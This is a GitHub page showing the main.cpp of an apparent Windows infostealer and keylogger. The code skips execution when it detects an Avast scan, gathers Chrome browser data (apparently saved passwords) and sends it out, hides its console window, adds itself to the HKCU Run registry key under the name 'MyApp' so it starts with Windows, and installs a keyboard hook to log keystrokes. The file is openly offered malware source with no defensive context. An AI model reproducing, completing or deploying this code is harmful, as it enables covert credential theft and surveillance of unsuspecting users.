-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.cpp
executable file
·73 lines (48 loc) · 1.18 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <iostream>
#include <windows.h>
#include "anti_av.h"
#include "keyboard.h"
#include "send_data.h"
#include "chrome-passwords.h"
using namespace std;
void start_with_windows() {
TCHAR szEXEPath[ 2048 ];
DWORD nChars = GetModuleFileName( NULL, szEXEPath, 2048 );
// Registry modify
std::string progPath = std::string(szEXEPath);
HKEY hkey = NULL;
LONG createStatus = RegCreateKey(
HKEY_CURRENT_USER,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
&hkey
);
LONG status = RegSetValueEx(
hkey,
"MyApp",
0,
REG_SZ,
(BYTE *)progPath.c_str(),
(progPath.size()+1) * sizeof(wchar_t)
);
}
int main (int argc, char** argv)
{
// Avoid Avast
if(test_being_scanned())
return 1;
// Get chrome data
std::string string_data = "Chrome browser data\r\n\r\n" + get_chrome_data();
send_data(string_data.c_str());
// Hide window
try {
ShowWindow(FindWindowA("ConsoleWindowClass", NULL), false);
} catch (int e) {}
// Windows start
try {
start_with_windows();
} catch (int e) {}
// Go on with keylogging
if(!InstallHook(argv))
return 1;
return 0;
}